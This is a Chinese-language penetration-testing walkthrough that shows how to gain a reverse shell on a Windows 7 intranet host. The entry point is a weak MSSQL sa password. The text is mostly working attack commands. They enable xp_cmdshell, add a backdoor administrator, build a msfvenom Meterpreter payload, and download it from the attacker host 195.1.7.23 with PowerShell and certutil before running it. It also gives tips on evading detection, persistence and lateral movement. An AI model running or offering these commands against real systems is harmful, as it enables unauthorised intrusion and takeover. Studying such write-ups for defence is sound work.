【实战3】记一次内网中反弹shell的艰难历程
字数 1466 2025-08-26 22:11:40

内网渗透实战:通过SQL Server弱口令获取反弹Shell的完整过程

0x00 环境概述

目标系统环境:

  • 操作系统:Windows 7
  • 开放端口:80(HTTP)、445(SMB)、1433(MSSQL)、3389(RDP)
  • 数据库:Microsoft SQL Server
  • 网络环境:内网环境,无法直接访问外网

攻击者环境:

  • 本地IP:195.1.7.23
  • 工具:Kali Linux (含Metasploit)、PHPStudy

0x01 初始渗透

端口扫描与信息收集

  1. 对目标IP进行端口扫描发现开放以下服务:
    • 80端口:仅显示安装成功页面,目录扫描无果
    • 445端口:使用nmap脚本扫描未发现MS17-010等漏洞
    • 1433端口(MSSQL):成功爆破出弱口令 sa/sa
    • 3389端口(RDP):爆破未成功

SQL Server连接与权限提升

  1. 使用Navicat成功连接MSSQL数据库
  2. 启用xp_cmdshell执行系统命令:
    EXEC sp_configure 'show advanced options', 1;
    RECONFIGURE;
    EXEC sp_configure 'xp_cmdshell',1;
    RECONFIGURE;
    
  3. 验证系统权限:
    exec master..xp_cmdshell "whoami";
    
    确认当前为system权限

0x02 远程桌面连接尝试

  1. 尝试添加管理员用户:
    exec master..xp_cmdshell "net user test paperpen123. /add";
    exec master..xp_cmdshell "net localgroup administrators test /add";
    
  2. 发现限制:
    • Windows 7仅允许单用户登录
    • 直接登录可能导致被发现,放弃此方法

0x03 反弹Shell方案选择

初始方案:PowerShell下载

  1. 生成Meterpreter payload:
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=195.1.7.23 LPORT=8888 -f exe > shell.exe
    
  2. 搭建本地Web服务(PHPStudy):
    • 将shell.exe放入网站根目录
    • 访问URL:http://195.1.7.23/shell.exe
  3. 设置Metasploit监听:
    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set LHOST 195.1.7.23
    set LPORT 8888
    exploit
    
  4. 尝试通过PowerShell下载:
    exec master..xp_cmdshell "powershell $client = new-object System.Net.WebClient";
    exec master..xp_cmdshell "powershell $client.DownloadFile('http://195.1.7.23/shell.exe', 'shell.exe')";
    
    • 失败原因:DownloadFile方法不可用,可能由于命令长度限制或环境限制

替代方案:Certutil下载

  1. 使用certutil.exe下载文件:
    exec master..xp_cmdshell 'certutil.exe -urlcache -split -f "http://195.1.7.23/shell.exe"';
    
    • 成功将shell.exe下载到目标服务器

0x04 执行反弹Shell

  1. 执行下载的payload:
    exec master..xp_cmdshell 'shell.exe';
    
  2. 遇到问题:
    • 执行后界面卡住
    • 实际已成功建立连接,返回Metasploit监听界面
  3. 验证连接:
    • 成功获取Meterpreter会话
    • 确认目标为域环境

0x05 关键技术与注意事项

  1. xp_cmdshell使用技巧

    • 需要先启用高级选项再启用xp_cmdshell
    • 命令执行有长度限制,可能需要拆分复杂命令
  2. 内网文件传输方法

    • 当PowerShell受限时,certutil是可靠的替代方案
    • certutil命令格式:
      certutil.exe -urlcache -split -f "http://attacker_ip/file" [output_file]
      
  3. 反弹Shell注意事项

    • 内网环境需确保攻击机IP可达
    • 防火墙设置可能导致连接失败,需提前关闭或配置规则
    • 执行payload可能出现假死现象,需检查监听端
  4. 规避检测

    • 避免在单用户系统上直接登录RDP
    • 考虑使用更隐蔽的持久化方法而非直接添加用户

0x06 后续渗透方向

  1. 域环境信息收集:

    • 获取域控制器信息
    • 枚举域用户和组
    • 查找域内共享资源
  2. 横向移动技术:

    • Pass The Hash
    • 利用MS17-010等漏洞
    • 查找域内其他SQL Server实例
  3. 权限维持:

    • 创建计划任务
    • 注册表持久化
    • 部署后门服务

总结

本案例展示了从SQL Server弱口令到获取系统级访问的完整过程,重点包括:

  1. 通过弱口令获取数据库访问权限
  2. 利用xp_cmdshell执行系统命令
  3. 在内网环境下通过certutil实现文件传输
  4. 建立反弹Shell会话的技术细节

此技术路线在内网渗透中具有典型性,特别适用于无法直接RDP连接或需要隐蔽操作的情况。后续可在获取的Meterpreter会话基础上进行更深入的域渗透和横向移动。

内网渗透实战:通过SQL Server弱口令获取反弹Shell的完整过程 0x00 环境概述 目标系统环境: 操作系统:Windows 7 开放端口:80(HTTP)、445(SMB)、1433(MSSQL)、3389(RDP) 数据库:Microsoft SQL Server 网络环境:内网环境,无法直接访问外网 攻击者环境: 本地IP:195.1.7.23 工具:Kali Linux (含Metasploit)、PHPStudy 0x01 初始渗透 端口扫描与信息收集 对目标IP进行端口扫描发现开放以下服务: 80端口:仅显示安装成功页面,目录扫描无果 445端口:使用nmap脚本扫描未发现MS17-010等漏洞 1433端口(MSSQL):成功爆破出弱口令 sa/sa 3389端口(RDP):爆破未成功 SQL Server连接与权限提升 使用Navicat成功连接MSSQL数据库 启用xp_ cmdshell执行系统命令: 验证系统权限: 确认当前为system权限 0x02 远程桌面连接尝试 尝试添加管理员用户: 发现限制: Windows 7仅允许单用户登录 直接登录可能导致被发现,放弃此方法 0x03 反弹Shell方案选择 初始方案:PowerShell下载 生成Meterpreter payload: 搭建本地Web服务(PHPStudy): 将shell.exe放入网站根目录 访问URL:http://195.1.7.23/shell.exe 设置Metasploit监听: 尝试通过PowerShell下载: 失败原因:DownloadFile方法不可用,可能由于命令长度限制或环境限制 替代方案:Certutil下载 使用certutil.exe下载文件: 成功将shell.exe下载到目标服务器 0x04 执行反弹Shell 执行下载的payload: 遇到问题: 执行后界面卡住 实际已成功建立连接,返回Metasploit监听界面 验证连接: 成功获取Meterpreter会话 确认目标为域环境 0x05 关键技术与注意事项 xp_ cmdshell使用技巧 : 需要先启用高级选项再启用xp_ cmdshell 命令执行有长度限制,可能需要拆分复杂命令 内网文件传输方法 : 当PowerShell受限时,certutil是可靠的替代方案 certutil命令格式: 反弹Shell注意事项 : 内网环境需确保攻击机IP可达 防火墙设置可能导致连接失败,需提前关闭或配置规则 执行payload可能出现假死现象,需检查监听端 规避检测 : 避免在单用户系统上直接登录RDP 考虑使用更隐蔽的持久化方法而非直接添加用户 0x06 后续渗透方向 域环境信息收集: 获取域控制器信息 枚举域用户和组 查找域内共享资源 横向移动技术: Pass The Hash 利用MS17-010等漏洞 查找域内其他SQL Server实例 权限维持: 创建计划任务 注册表持久化 部署后门服务 总结 本案例展示了从SQL Server弱口令到获取系统级访问的完整过程,重点包括: 通过弱口令获取数据库访问权限 利用xp_ cmdshell执行系统命令 在内网环境下通过certutil实现文件传输 建立反弹Shell会话的技术细节 此技术路线在内网渗透中具有典型性,特别适用于无法直接RDP连接或需要隐蔽操作的情况。后续可在获取的Meterpreter会话基础上进行更深入的域渗透和横向移动。